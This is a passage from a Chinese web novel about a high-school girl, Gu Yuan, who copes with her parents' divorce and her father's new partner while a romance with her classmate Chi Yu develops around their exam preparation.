顾鸢把头扭向一侧看着车窗外不断倒退的街景，放在膝盖上的手指微微蜷缩，语气带了几分试探，“你以后会是别人的爸爸吗？”
顾绍辉顿了几秒，说道：“浅浅，你都看到了。”
顾鸢攥紧手指，又问：“在你心里，我是最重要的女儿吗？”
在等答案的几秒钟里，顾鸢突然觉得没什么意思了，“没关系，您不用回答，接下来的时间我要专心复习，中午可能就没这么多时间出来吃饭了。”
顾鸢没想到的是，得不到想要的答案还只是开始，当她在餐厅里看到那两张面孔的时候气血上涌，只觉得脑袋嗡嗡嗡地响。
做了一个深呼吸，顾鸢偏眸看向顾绍辉，嗓音又低又冷，“我跟您说过，不愿意认识她们。”
顾绍辉劝她，“浅浅，我们以后会是一家人，你作为晚辈应该认识……”
顾鸢冷冷地看了他一眼，扭头就往出走，没有理会顾绍辉的呼喊，顾鸢越走越快，到最后跑了起来。
车辆的鸣笛声，行人的说话声，小孩的吵闹声，各种声音汇聚在一起，顾鸢还没反应过来的时候手腕被攥住，紧接着被一股大力扯了过去。
“没事吧？”墨谦垂头看着她，语气焦急，“刚才有没有撞到？”
顾鸢轻轻摇头，“我没事。”
缓了几秒，顾鸢抬头才发现拉她的人是墨谦，“谢谢你啊，不过你怎么在这里？”
“万年见不到一次的我爸带我出来吃饭。”墨谦说着话音一转，“这个点你也没吃吧，要不一起？”
顾鸢下意识就拒绝，“不了，我回学校。”
“你现在回学校食堂也只剩下剩饭了。”墨谦开玩笑地说道：“我爸这人很好说话，就是爱唠叨，看在我刚才帮了你的份上帮我分担一下注意力。”
顾鸢正要开口，墨谦又说道：“顾鸢，吃个饭而已，你这可是第二次拒绝我了。”
-
另一边，顾鸢扭头就跑了出去，凌熙诺和凌紫薰面面相觑。
凌熙诺安慰凌紫薰，“妈妈，我和顾鸢有过接触，她其实很好说话，可能是因为还没有接受顾叔叔和她妈妈离婚的事，你别多想。”
凌紫薰笑
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着拍了拍她的手，“我知道，只是我们以后终归会是一家人，妈妈也想早点认识她。”
“那我多跟你讲讲她的事吧。”凌熙诺正要开口，凌紫薰打断他，“你顾叔叔过来了，等有时间了再说。”
凌熙诺点头，“好吧。”
顾绍辉带着歉意地对凌紫薰说道：“浅浅她就是有点小脾气，你别介意，等下次你们再好好认识。”
凌紫薰拉着他坐下，柔声道：“我怎么会跟一个孩子计较，你就放心吧，刚才熙诺还跟我说呢，我不会放在心上的。”
顾绍辉满意地点头，“那就好，熙诺多吃点，有什么需要就跟叔叔说。”
凌紫薰垂着眼，眼底意味不明。
-
墨谦说的确实没错，他爸爸真的很健谈，从学习到生活，总是能找到各种话题，顾鸢刚才的那点不开心都因为这密集的聊天消失了。
“小谦妈妈离开的早，我工作又忙，这孩子就不爱跟我说话。”墨熠说着叹了口气，“顾鸢，他在学校里也是这么不爱说话吗？”
顾鸢看了眼墨谦，点了点头。
墨熠又叹气，“我就是怕他这样的性格交不到朋友。”
“不会啊，墨谦和我们班长的关系就挺好的。”
顾鸢还要说，墨谦直接打断她，转而朝墨熠说道：“爸我们得走了，不然会迟到。”
墨熠忙问顾鸢，“刚才看你没吃多少，要不再给你买点零食。”
“不用了叔叔，我吃饱了，我教室里还有零食。”
怕墨熠还要说什么，墨谦直接拉着顾鸢往出走，对后面的墨熠说道：“您要是没时间我们就打车回去。”
“臭小子。”
……
上车之后，为了防止墨熠再问什么，顾鸢靠着车窗假寐。
开车的是司机，墨熠坐在副驾驶拿着手机和后面的墨谦发消息。
墨熠：【我刚才表现还可以吧？】
墨谦：【您话有点多】
墨熠：【小谦，你真的不介意吗？】
墨谦：【你应该问顾鸢介不介意】
这天根本没法聊，父子俩话不投机半句多。
司机把车停在学校旁边，顾鸢和墨谦下车之后墨熠又嘱咐他们平时要好好吃饭好好睡觉，顾鸢一一点头应下。
进了校门，墨谦对顾鸢说道：“我爸就是这样，你别介意。”
“不会。墨叔叔很有意思。”顾鸢想到顾绍辉，眼神暗了下来，“他很关心你。”
墨谦正要说话，后面突然响起一道声音，“顾鸢。”
顾鸢转头，迟瑜快步朝两人走来，视线在墨谦身上停了几秒，转而朝顾鸢说道：“怎么才来？”
“中午去外面吃饭，正好碰到墨谦，我们就一起回来了，你今天怎么也来的这么晚。”
迟瑜自然地走到两人中间挤开墨谦，说道：“我妈回来了，收拾她带回来的东西就晚了。”
“阿姨回来啦，怪不得你今天中午说要回家。”顾鸢没发现他的小举动，继续和他说话，“那阿姨是不是给你带了很多礼物？”
迟瑜意味不明地笑了笑，“确实是很多礼物。”但不是给他的。
墨谦走在一旁，看着这自然又熟稔的两人，低头轻笑。
到了教室，迟瑜把手里提的带子挂到顾鸢桌子的挂勾上，顾鸢不解，“你那边不是空的吗？”
“本来就是给你的。”迟瑜抬了抬眉毛，示意她自己看。
顾鸢打开袋子，从盒子的外面就可以看到里面竟然是一个穿着蓝色公主裙的洋娃娃，她诧异道：“这是给我的？”
“不然这东西是给我的？”迟瑜反问，顿了两秒又说：“不喜欢？”
“没有，很喜欢。”顾鸢把盒子装回去，笑着对迟瑜说道：“帮我谢谢阿姨。”
迟瑜压着眉看她，没说同意也没说不同意。
顾鸢突然灵光一闪，双眸瞪大看向迟瑜，“阿姨为什么要送我礼物？”
迟瑜淡定地说道：“为了感谢你给我补课。”
“这样。”
见顾鸢没有继续追问，迟瑜松了口气，顿了两秒又问：“你真的喜欢？”
“喜欢啊。”顾鸢说完怕喜欢的程度不够，于是又说道：“非常喜欢。”
迟瑜低着脑袋唇角翘起。
60. 失落
不知道是什么原因，当你越不想见到一个人的时候，她就会越频繁的出现在你的视线里。
晚上放学后顾鸢留在教室看书，到十一点才收拾书包回宿舍，结果在一楼大厅碰到了同样要往出走的凌熙诺。
顾鸢的目光没有在她身上多做停留，而是径直地往出走。
“顾鸢。”
凌熙诺开口叫住她，“你就这么讨厌我。”
这个时间教学楼里已经没什么人了，教学楼外的路灯孤零零地亮着，偶尔有几声虫鸣响起。
顾鸢站在路灯下，凌熙诺站在她对面。
良久，顾鸢先开口，“你叫住我就是为了和我在这儿站着。”
凌熙诺犹豫了两秒钟才说道：“顾鸢，我知道你现在不想跟我说话，可是我……”
“知道我不想跟你说话你还要叫住我。”顾鸢的嗓音有些冷，凌熙诺愣住，停顿了片刻顾鸢再开口，语气软了几分，“抱歉，不是针对你，是我需要时间接受。”
须臾，凌熙诺才抿着唇微微笑了笑，“没关系，还有中午的事，希望你不要生气。”
“我没有生你的气，也没有生你妈妈的气。”顾鸢疏了口气，说道：“我现在不想管这些事，等高考以后再说。”
“我知道了。”凌熙诺扬唇，“那我走了，你也快回去吧。”
顾鸢拿出手机看了眼，十一点十分，“这个时间校门已经锁了，我跟你过去。”
凌熙诺有些诧异，顾鸢说道：“门卫脾气可不太好。”
……
两人到门口的时候，门卫果然说教了几句，顾鸢说是她们在讨论题目错了时间门卫这才作罢。
正要转身的一刹那，顾鸢的余光瞥见了顾绍辉，他似乎想要说什么，顾鸢没有理会直接往宿舍走。
洗漱完坐在床上，顾鸢打开盒子，把娃娃抱了出来。
白色的头发上夹着蝴蝶发饰，头发编成了蓬松的的麻花辫落在一侧，眼睛是大海的蓝，额间点缀着蓝色宝石，裙摆层层叠起，似有星星点缀在上面。
顾鸢以前给边秣买过这种娃娃，这个一看就不是一般店里能买到的。恐怕是迟瑜的妈妈专门去买的，顾鸢找到手机拍了张照片发给迟瑜。
【这也太漂亮了，帮我谢谢阿姨】
过了几分钟对面才回消息，【说过了，说你喜欢就好】
顾鸢把娃娃放在床头，躺下去回消息，指尖落在屏幕上忽然又不知道要说什么。
最后发了一个晚安的表情包过去。
迟瑜盯着手机看了几秒，唇角扬起明显的弧度。
叶蔓茹敲了敲门，把牛奶递给他，“你看什么呢，这么开心。”
“没什么。”迟瑜把手机丢到床上，仰头一口气喝完牛奶。
叶蔓茹想了想又说：“我是不是应该专门请你同学吃个饭感谢她帮你补课啊，毕竟你妈我是从来没有想过你有一天能考到年纪第二。”
迟瑜把空杯子给她，说道：“等高考完再说吧，这段时间复习比较紧张，恐怕没有时间。”
叶蔓茹点头，“也行。”
-
周三，下午一点，陆续有学生带着家长入校。
顾鸢和余荔都在下面帮忙管理秩序，墨谦提了两杯奶茶给她们两个，“要不我先看着，你们去休息一会儿。”
余荔摇头，“不用，顾鸢你去休息，这里我看着就行。”
顾鸢的视线在余荔枝和墨谦身上扫了一个来回，说道：“那我先去打个电话。”
走到教学楼前的树荫下，顾鸢拿出手机犹豫着要不要给姜女士打电话，突然肩膀被人拍了一下，顾鸢扭头就看到迟瑜站在身后。
“在干什么？”
顾鸢乜他一眼，“没干什么，你怎么进来了，你妈妈来了吗？”
迟瑜掀起唇角，眼尾稍弯，“刚进去。”说完他看向顾鸢手里的奶茶，“这谁给的，不知道你芒果过敏？”
顾鸢拿起奶茶，她刚才也没仔细看，里面果然有芒果，“墨谦给的，说是……哎你干什么？”
顾鸢话还没说完奶茶就被迟瑜夺过去直接插上吸管喝起来，末了还挑眉问顾鸢：“你想喝？”
“不是。”顾鸢看他愤愤的样子，觉得有些好笑，“墨谦是给余荔买的，给我只是顺带。”
迟瑜轻嗤一声，语气吃味，“那也不用他献殷勤。”
顾鸢别开眼，结果对上叶蔓茹一副吃瓜的眼神。
顾鸢：……
“你过去吧，我还要等人。”
迟瑜倚着墙根没什么正形地站着，“我陪你等，反正过去也没什么事。”
顾鸢正要说他，突然手机响了起来，来电显示是一串没有备注的号码。
顾鸢接通，手机里传出一道温润清朗的声音，“浅浅，你妈妈让我过来的，我去哪里找你。”
顾鸢顿时怔住，“池叔叔？”
“浅浅？”
池学书拿下手机看向站在墙边的两人，视线在迟瑜身上停顿了一秒，然后投到顾鸢身上。
“池叔叔？怎么是您？”
顾鸢实在是很震惊，怎么也没想到会是池砚舟的二叔过来，他不是多数时间在国外吗。
池学书说道：“你妈妈临时有事来不了，正巧我在宁宜，就过来了，你不介意吧？”
“不会。”顾鸢摇头，只是有点失落罢了。“那我们过去吧，时间快到了。”
池学书点头，“好。”
顾鸢看了眼迟瑜，然后带着池学书去了十五班的位置。
流程首先是过状元门拍照留念，顾鸢怎么也不会想到，这么重要的时刻在身边的不是爸爸也不是妈妈，而是一个儿时对自己很好的叔叔。
池学书看出顾鸢心不在焉，轻轻拍了拍她的肩膀，低声说道：“失落了？”
顾鸢抿唇，诚实道：“有点。”
“就算你妈妈没来，她也依旧爱你。”
池学书至今没有结婚，自然没有孩子。唯一接触到的就是大哥的儿子池砚舟和小时候常来家里捣乱的顾鸢和边秣。对于孩子，他不是很懂，尤其是十七八岁青春期的孩子，他们隔了十八岁的年纪，代沟确实很大。
“等结束了带你去吃饭。”
喜欢吃美食总是没错的。
顾鸢摇头，“还要上自习，时间可能来不及。”
池学书哑然，真的很难聊。
池学书本身就是个艺术家，著名的插画师，实实在在的i人，和目前不想说话的顾鸢在一起显得有些安静。
但因为两人过高的颜值还是吸引了不少目光。
“你就是顾鸢的爸爸吧，你们家孩子真优秀，不知道平时在家里是怎么教育的。”肖毅的妈妈问道。
池学书微笑，“我是顾鸢的叔叔，家里的大人都很忙，全靠孩子自觉，她从小就优秀，不管做什么都要求自己做到最好，反倒是我们大人忽略了她。”
肖毅妈妈说道：“有这么自律的孩子真是让人省心，不像我家里这个，非要叛逆去唱歌，那分明就是不务正业。”
肖毅的脸色有些难看，顾鸢轻轻扯了下池学书的袖子。
池学书说道：“并不能这么说，我们国家有许多著名歌手，他们的音乐在无形中帮助了很多人，这是一份很有意义的职业。”
肖毅妈妈点了点头，“这个我也不懂，我就是羡慕你们家里有这么听话又学习好的孩子。”
池学书看了眼顾鸢，唇角勾着淡淡的笑，“您不用羡慕，每个孩子都是怀着父母的期待来到这个世上，他们都是独一无二的。听话也并不是一件好事。”
他记忆里的小浅浅可比边秣那丫头还能气人。
听话？
不存在的。
肖毅妈妈执着于问教育孩子的经验，于是继续说道：“那你们平时是怎么管孩子的，我们家这个最近很叛逆，说不到两句话就要冷脸，做家长真是太难了。”
池学书沉吟半晌，说道：“多鼓励，多支持，多关心。他们这个年纪其实什么都懂，交谈的时候要把自己放到和对方平等的位置上，千万不能有打压。”
肖毅妈妈似懂非懂地点头，“我知道了。”
池学书给顾鸢一个得意的眼神，顾鸢朝他竖起大拇指。
肖毅也冲着顾鸢抱拳，旁边的迟瑜唇边噙着笑看向顾鸢。
池学书看了眼叶蔓茹，神色淡淡，紧接着视线又扫到迟瑜身上。
叶蔓茹露出得体的笑，说道：“说起来还没正式感谢过顾鸢，如果不是她帮小瑜补课，小瑜的成绩也不会进步得这么快。”
池学术微微颔首，“既然这样，等会儿结束一起吃个饭吧。”话落不等叶蔓茹说话，视线落到迟瑜身上，“小瑜是吧，浅浅
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跟我提起过你。”
顾鸢：她没说过。
叶蔓茹不好拒绝，便应了下来。
过了状元门，拍照留念，然后就是升国旗，代表发言，演讲，校长总结发言，梦想墙拍照。
顾鸢被祁蓉和言酥拉着去拍照，几人轮流拍了好多张，顾鸢只管站在那儿，旁边的人换了好几个。
突然胳膊被人拽了一下，迟瑜的声音从头顶响起，“顾姐，到我了吧？”
顾鸢抬眸看他，“不是拍过了？”
迟瑜目光灼灼地看下来，微微低着头，尾音挑起，“有别人的不算，我想和你拍，不行吗？”
顾鸢心底微颤，垂下的手指蜷缩，还未来得及说什么，肩膀被人撞了一下，整个人往前扑去，稳稳的落到迟瑜怀里。
肖毅忙按下快门键。
时间定格。
画面里女生的头微微仰着，手指紧紧抓着男生的衣服，男生低着头，视线里全是女生。
国旗在上空飘起，女生的头发缠在男生衣服的扣子子上，画面漂亮的像是拍青春校园写真。
那人说了声抱歉就跑开了。
顾鸢手撑在迟瑜的肩上站好，往后退了一步，说话嗓音有些低，“可以了吧？”
迟瑜垂头脑袋，视线紧紧锁着她，从鼻腔里发出一声嗯。
两人拍完就走开了，换言酥和徐百川他们几个去拍。
祁蓉把手机给顾鸢看，凑到她耳畔悄悄说道：“你们两个真的好上相啊，跟明星一样，不知道还以为在拍校园剧呢。”
顾鸢翻动着相册，突然手机响了一声，这才响起被遗忘的池学书。
这会儿是五点半，有很多学生直接放学去吃饭了，池学书本来说要带她去吃饭，结果半路又加上了迟瑜和他妈妈。
名为感谢她帮迟瑜补课。
两个大人选的是宁宜大学那边的餐厅，光是过去就要花了将近半个小时。
池学书开车，顾鸢坐在副驾驶，迟瑜和叶蔓茹坐在后面。
车刚开出去几分钟，顾鸢的手机就响了起来，是顾绍辉打来的，顾鸢并不想接，第一遍打来的时候任由它自己挂断。
池学书侧目看了她一眼，“你爸爸打来的？”
顾鸢轻轻嗯了一声。
话落铃声又响了起来，池学书直接说道：“手机给我。”
顾鸢连上蓝牙，把一只耳机给他。
刚接通，顾绍辉愤怒的声音就传了过来，“你妈妈怎么回事，为什么让池学书来了，她不知道今天是什么日子吗？”
顾鸢正要说话，池学书把她的那只耳机摘了下来，跟顾绍辉说道：“如果我没看错的话你今天也来了，那为什不来找浅浅？”
还能是为什么，因为顾绍辉是作为凌熙诺的家长来的。
顾鸢扭头看向窗外，神色落寞，耳边响起池学书的声音。
“你不知道她为什么不来吗？”
挂断电话，池学书点开了车里的音乐。
“后来我总算学会了如何去爱
可惜你早已远去消失在人海
……”
到了餐厅，池学书去停车，叶蔓茹去了洗手间，顾鸢和迟瑜先去包厢。
穿过中庭的时候，迟瑜突然说道：“你跟这个池叔叔的关系看着很好。”
顾鸢愣了几秒，回他，“小时候家里没大人，我就去池家找池砚舟，池叔叔经常带着我们去玩。”
迟瑜点了点头，过了几秒又问：“你小时候经常和池砚舟一起玩？”
“对啊。”顾鸢回忆着说道：“我们两家离得近，池砚舟小时候呆呆的，看着很好骗，我就经常去找他。”
迟瑜蹙眉，“你喜欢呆的？”
顾鸢想了想，“也不止吧。”
迟瑜又问：“还需要什么？”
顾鸢认真思考，“还需要长得好看。”
迟瑜总结了一下，“所以你喜欢长得好看的呆瓜。”
顾鸢眄他一眼，“池砚舟可不呆，他只是很多时候不爱说话而已，就是比较喜欢安静。”
迟瑜低眸看着女生的侧脸，语气有些醋，“了解的这么清楚？”
顾鸢：“我们是一起长大的，肯定清楚啊。”
迟瑜弯腰凑到她耳边，嗓音有些轻，“那你以后跟我玩。”
“我长得还可以，话也不多。”
61. 暴露
顾鸢和迟瑜到包厢好一会儿池学书和叶蔓茹才一前一后地进来。
顾鸢看了眼明显在保持距离的两人，觉得有些奇怪，便问：“池叔叔，你和叶阿姨认识吗？”
“认识/不认识”
前面的是池学书说的，后面的是叶蔓茹说的。
顾鸢和迟瑜都看向他们。
池学书说道：“我知道叶小姐，只是叶小姐不知道我。”
叶蔓茹：“刚才想起来，我们是高中同学，但不是一个班的。”
顾鸢问：“都是一中的吗？”
池学书慢悠悠地说道：“大人的事情小孩子不要八卦，都是很多年前的事了，不值一提。”
叶蔓茹附和，“对，很久之前的事了，我确实没什么印象。”
池学书放在桌上的手指微动，转而又问顾鸢：“你帮迟同学补课是怎么回事？”
“是曹老师说我物理有些薄弱要多向迟瑜请教，我其他科目的成绩还可以，就是相互帮助。”顾鸢又道：“之前你不是也帮我补习过一段时间？”
池学书微微点头，“我记得你说你对物理不感兴趣，以后会学文科。”
“我理科不也学的挺好的。”顾鸢试图岔开这个话题，“而且我学理我爸妈都挺高兴的。”
“这倒也是。”池学书话音一转又问：“你申请国外大学的事怎么样了？”
“我没有啊，是谁说的。”顾鸢察觉到身旁滚烫的视线，好想找出那个造谣的人。
池学书挑眉，“不是你自己说的，有次你来家里和砚舟一起商量的。”
顾鸢：……好像是有这回事。
“那都是多久以前的事了，我真没打算出国。”
您就别问了，换个话题不成吗？
叶蔓茹忽然说道：“在学校的时候池老师不是说要支持孩子的想法。”
池学书点头，“是，我就是问问。”
顾鸢松了口气，在桌子下轻轻拉了拉迟瑜的胳膊，面上还要不变地和叶蔓茹说话。
吃完饭，池学书送顾鸢和迟瑜回了学校。
所有的副课已经全部取消，一天的运动量太少，所以在晚自习下了之后顾鸢被言酥和陈静拉着去跑步。
操场上人很多，还有坐在路灯下或者看台上看书的，把书包找了个地方放下，三人开始围着操场慢跑。
言酥跑了几步突然开始大喊，陈静要捂住她的嘴巴，顾鸢拦住陈静，“让她发泄一下吧，我看她压力很大。”
陈静道：“我现在两眼一睁一闭就是各种题目，再不快点考完真要疯了。”
顾鸢拍了拍她的肩膀，“很快了，再坚持坚持。”
陈静点头，“对，快了。”
跑了几圈，顾鸢让言酥和陈静帮她拿一下书包，自己往卫生间的方向走。
刚出跑道，顾鸢就碰上了同样来跑步的凌熙诺，顾鸢立马就想到了下午顾绍辉作为凌熙诺的家长来学校的事，心里有些闷，顾鸢没打算跟她说什么，反倒是凌熙诺朝顾鸢笑了笑当打招呼，顾鸢只好微微点头。
忽而脚步一顿，顾鸢叫住凌熙诺，顺手接下外套围在她腰间，凌熙诺怔愣地看着她的动作。
顾鸢解释道：“你的裙子脏了，先回宿舍吧。”
“裙子？”凌熙诺猛地反应过来，“谢谢你，衣服我洗干净了再还你。”
顾鸢不在意地说道：“都可以。”
话落顾鸢走进卫生间，凌熙诺看着她的背影，眼眸微亮。
顾鸢出来的时候，凌熙诺还在原地站着，顾鸢轻轻蹙眉，“你怎么还没回去？”
“我等你一起。”凌熙诺笑得开心。
顾鸢：“……”
言酥和陈静看到顾鸢和凌熙诺一起过来，两人都有些傻眼。
凌熙诺喜欢迟瑜这事大家都能看出来，迟瑜和顾鸢的事全校的学生几乎都知道，毕竟是在周一升国旗的时候当众表白。
这俩人怎么走到一起了？
难道现在流行情敌变姐妹？
陈静最先打破尴尬，“一起回吗？”
凌熙诺看向顾鸢，顾鸢接过书包点了点脑袋，“走吧。”
言酥挽着顾鸢的胳膊想问什么又不知道怎么问，打算跟着顾鸢回宿舍细细了解。
从操场出去到宿舍还有一段距离，气氛异常安静。
直到迟瑜突然出现，他无视掉其他人的目光，直直地走向顾鸢，把手里的保温桶塞到顾鸢怀里。
“这是什么？”顾鸢问。
“我妈说要感谢你给我补课，不然在她有生之年恐怕看不到我能考这么好，所以在接下来直到高考前的这段时间她都会煲汤给你。”迟瑜散漫地笑了笑，“说起来我还沾了你的光，每天能蹭到一碗。”
顾鸢双眸瞪大，“直到高考前？”
迟瑜点头，“对，我出来的时候她还在看食谱。”
“这也太麻烦了，你回去告诉阿姨不用这样。”顾鸢顶着三人灼热的视线，继续说道：“而且不是吃过饭了吗，已经感谢了。”
“买单的不是她，所以不算。”眼看顾鸢还要拒绝，迟瑜直接说道：“我以前可没这待遇，你就让我沾沾光，你要是不喝她肯定就不做了。”
顾鸢：“……”
“走了，等会儿锁门了。”迟瑜说完利落地转身往回走。
顾鸢低头看着保温桶，心里有些复杂。
凌熙诺说道：“迟瑜的妈妈以前开过饭馆，而且生意特别好，顾鸢你可有口福了。”
言酥和陈静对视一眼。
纷纷露出羡慕的神情。
-
周末，顾鸢正在宿舍看书，突然手机铃声响了几秒，顾鸢正要接通，发现对面挂断了，等顾鸢再打过去的时候又没人接。
这个时间伦敦还是晚上，不小心按到手机也有可能，顾鸢没多想，继续低头看书。算着时间差不多了，顾鸢才给姜煦庭打过去。
几秒钟后，电话接通。
“顾鸢？怎么突然给我打电话？”
顾鸢蹙眉，“是你早上给我打了，结果没两秒挂断了，我打过去也没有人接。”
姜煦庭说道：“是我不小心按到了，不好意思，既然没什么事我就挂了。”
“等等？”顾鸢叫住他。
“还有事吗？”姜煦庭问。
顾鸢手指点着手机壳，说道：“没有。”
挂了电话，顾鸢觉得他有点奇怪，然而没几秒对面就发了消息过来，【抱歉，在和女朋友约会，不太方便】
顾鸢一下就明白了，看来是她打扰了别人的好事。
-
韩淑怡见姜煦庭挂了电话，紧绷着的神经松了下来，“这件事先瞒着浅浅，你以后注意着点。”
姜煦庭沉默，“妈，真的要瞒着她妈，可姑姑……”
姜温华打断他的话，“至少等她考试结束，或者等之遥愿意告诉浅浅。”
姜煦庭低低地嗯了一声，“我知道了。”
韩淑怡突然说道：“为了不露馅儿子你赶紧找个女朋友。”
姜煦庭起身出门，“我还有事先回学校了。”
韩淑怡：“老公你看他。”
姜温华：“不气不气，我来说。”
-
晚上自习的时候，大家本来在安静地看书，不知道是谁突然站了起来大叫一声。
教室里的人瞬间都看向他。
那个同学弯腰鞠躬，“不好意思我就是发泄一下。”
余荔说道：“想发泄去操场跑圈。”
哗啦——
一连出去了好几个人。
不到一百天了，谁也没有功夫管别人，每个人都是争分夺秒的学，只要不是严重扰乱纪律，余荔也不管。
顾鸢刚好写完一道题，胳膊被迟瑜碰了一下，“出去走走。”
顾鸢还没来得及说话迟瑜就出去了。
过了三分钟，顾鸢拿了本英语笔记往外走。
顾鸢不知道迟瑜去了哪里，只好去了天台，没想到他真的在。
迟瑜的视线落在顾鸢怀里的本子上几秒，扯着唇笑了出来，“你这是拿了一个作案工具？”<
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“什么？”顾鸢被他无厘头的话绕住，“什么作案？”
迟瑜盯着她看了好一会儿，趴在栏杆上说道：“出来透透气你还要拿笔记，顾姐不愧是顾姐。”
顾鸢已经习惯了迟瑜时不时的阴阳怪气，走过去学着他趴在栏杆上，“你也压力很大？”
迟瑜偏头，晚风吹乱了女孩的头发，有几缕甚至落到自己的胳膊上，有点痒，他说道：“你压力不大？”
“还好，我有把握。”顾鸢闭上眼睛感受着习习凉风，半晌才继续说：“从小到大，我就对学习这一件事有把握。”
“当然中考是意外。”
迟瑜抬手，指尖缠绕着一缕发丝，良久才说道：“顾鸢，其实对你来说去国……”
“啊啾——”
虽然已经进了四月，但夜里还是比较凉，尤其是天台风大，顾鸢打了个喷嚏，张开眼睛扭头看向迟瑜，“你刚才说什么？”
“没什么。”
迟瑜把外套脱下来给她披上，“想问你是怎么调节压力的。”
顾鸢穿上外套，把拉链拉到最顶端，说道：“就是听听歌，或者跑跑步，有时候也会画会儿画。”
“你会画画？”迟瑜惊讶，“到底还有什么是你不会的？”
顾鸢认真想了想，“不会骑摩托车。”
迟瑜：“……未成年你想骑也没用。”须臾，他又说：“我发现你其实挺叛逆的。”
顾鸢沉吟半晌，“说起来还真有件有意思的事，大概是我五岁的时候，有次去兴趣班，因为没有吃到冰激凌，所以那天心情不好。不知道怎么了，我就和一个男生打了起来，我好像还把那个男生的脸挠破了。事后被姜女士罚着多写了五页的计算题。”
迟瑜的表情微滞，盯着顾鸢的侧脸看了好一会儿才说道：“你还记得那个男生的样子吗？”
“那么久的事怎么可能记得。”顾鸢拧眉认真回忆了片刻，“那会儿太小了，只记得事情的大概，具体的经过我都不记得了。”
迟瑜倏地笑了一声，顾鸢以为他在笑自己，羞赧地说道：“你笑什么？”
“咳——”
迟瑜清了清嗓子，“作为交换，我也讲一件我小时候的事吧。”
顾鸢：“好啊。”
“在我六岁的时候，我妈因为饭馆忙没空管我，就把我扔到了兴趣班，结果上课第一天，就有一个长得很漂亮的女孩来找我说话。”
顾鸢：“原来你小时候就招人喜欢。”
迟瑜勾了勾唇，继续说道：“结果我们俩没说几句话她就和我吵了起来，我也没说什么，结果那个女孩就……”
“就怎么？”
迟瑜目光沉沉地看着顾鸢，不紧不慢地说道：“就和我打了起来。”
顾鸢：“……是吗？”
迟瑜点头，“可不是，没想到那个女孩长得好看下手是一点也不马虎，我脸都被划破了。”
沉默良久，顾鸢抱着笔记本转身，“我有套卷子还没写完。”
迟瑜双手插在兜里跟在她身后，慢慢悠悠地说道：“哎，我还想着以后要是继续跟她一个班可怎么办，结果后来再没见到她。”
迟瑜快步走到顾鸢身边，“你说我要是再见到她应该说点什么？”
顾鸢抿唇，露着得体而不失礼貌的微笑，“这我怎么知道？”
“好久不见？”
“还记得我吗？”
“你那个时候为什么要跟我打架？”
顾鸢：持续装死中……
“你觉得哪句好？”迟瑜慕地凑到顾鸢耳畔，嗓音中带着明显的笑意，“帮我选一句？”
顾鸢扭头，撞进迟瑜墨色的瞳孔里，心尖猛地一颤，她连忙转回去，语气有些不稳，“随便你说哪句？”
进了教室，顾鸢立马打开练习册拿出笔在草稿本上写起来，一副不要打扰我的样子。
迟瑜噙着笑，闲散地翻开书，不紧不慢地拿出笔，偏眸看了顾鸢一眼，然后才开始做题。
顾鸢：有什么比自己暴露自己更无语的事？
62. 倾倒
复习的时候，顾鸢突然想起来有本笔记落在了家里，下了晚自习就打算回去取。
迟瑜见顾鸢一下课就收拾书包，打趣道：“我又没说什么，你也不用跑吧。”
顾鸢：“我笔记落家里了，今晚回去取。”
出了校门，顾鸢旁边的迟瑜说道：“我自己回去就行，不用送了。”
迟瑜睨了顾鸢一眼，浑不在意地说道：“我夜跑不行？”
顾鸢：“您随意。”
等到了小区楼门口，顾鸢正欲与迟瑜说些什么，哪料他已经转身跑远了，倒真像夜跑的。
顾鸢刚打开门，就听到客厅里有说话的声音。
“绍辉，我们来这里小鸢不会生气吧？”
“怎么会，她是个有分寸的孩子。”
“那就好。”
“嘭——”
里面的两人被门口的声音惊到，吓得都往这里看过来。
顾绍辉愣住，“浅浅？”
凌紫薰也吓得站了起来，“小鸢啊，你别……”
顾鸢拿起手机直接拨通了报警电话，“您好，有人私闯民宅，地址是……”
“顾鸢！”顾绍辉大步上前去夺顾鸢的手机，顾鸢躲开立马退了出去，顺道用力拍着隔壁家的门。
凌紫薰和顾绍辉都被顾鸢这一系列的动作惊到，等反应过来要阻止的时候隔壁的门已经开了，出来的是一个纹着纹身的青年，似乎是被吵醒了美梦，极不耐烦地大声说道：“干什么？大半夜不让人睡觉要干什么？”
“不好意思家里孩子调皮。”凌紫薰说着就去拉顾鸢的胳膊，顾鸢一个闪身躲在纹身男身后。
“叔叔，对面就是我家，可我不认识这个人，我还是未成年，她是不要……”顾鸢点到为止，视线死死地盯着凌紫薰，没有错过她眼里一闪而过的恨意。
纹身男叫冯旭，三十岁，是个散打教练，之前顾鸢有次下雨没带伞还捎过她一段路，顾鸢也帮他给女朋友传过话，两人的关系还算可以。
冯旭挑眉看了眼凌紫薰，说道：“我好像在我家蕊蕊的手机上见过你。”
凌紫薰猛地一慌，忙躲到顾绍辉身后。
顾绍辉指着顾鸢，语气带着明显的怒意，“顾鸢，你太让我失望了。”
“您也让我很失望。”
顾鸢说完嗤笑一声扭过头不愿意再理会他们，等警察来了问过情况之后眉毛皱的都能夹死苍蝇。
顾绍辉一直在道歉，说是没有管教好孩子，顾鸢红着眼睛讽刺地笑着。
出了警局，顾绍辉甩开了顾绍辉拉她胳膊的手，冷声说道：“我说过的，不希望你陌生人带人去家里。”
“顾鸢！凌阿姨不是别人，她是我……”
“你们结婚了？”顾鸢冷冷地反问，视线扫到凌紫薰，她只是弱弱的笑着。
顾绍辉：“没有。”
“没有。”顾鸢勾了勾唇，讽刺地说道：“没有结婚就把人带到家里，顾教授，你这是在耍流氓吗？”
“顾鸢！”顾绍辉气的胸膛剧烈起伏，指着顾鸢的胳膊和手都在抖，“我教你的礼仪教养都到狗肚子里去了吗？”
顾鸢看着他的模样，极为冷静地说道：“等我成年就不需要监护人了。”
“你什么意思？”顾绍辉怔住，他印象中的女儿乖巧懂事，今晚的事他也只认为是一时接受不了父母离婚才会这样。
可当顾鸢说出这句话的时候，顾绍辉突然觉得有什么变了。
顾鸢语气平淡，“你从来不会顾及别人的感受，不管做什么都以你自己的意愿为主。你知道我不喜欢姑姑，可还是一而再再而三地让我们接触，甚至不问事情缘由就让我低头道歉。
你知道我接受不了你和妈妈离婚的事，我也说过不想认识她，不想要她出现在我的家里，可你根本就不把我的想法放在心上。”
顾鸢说完，视线掠过凌紫薰，对方朝她好好的笑笑。
顾鸢说道：“再有下次我还是会报警，就看顾教授和凌首席能不能受得了一直来警局问话了。”
“顾鸢！”
没有理会顾绍辉的气急败坏，顾鸢从警局出来，在路上随意地走着，家里不想再回，学校这个时间也关门了。
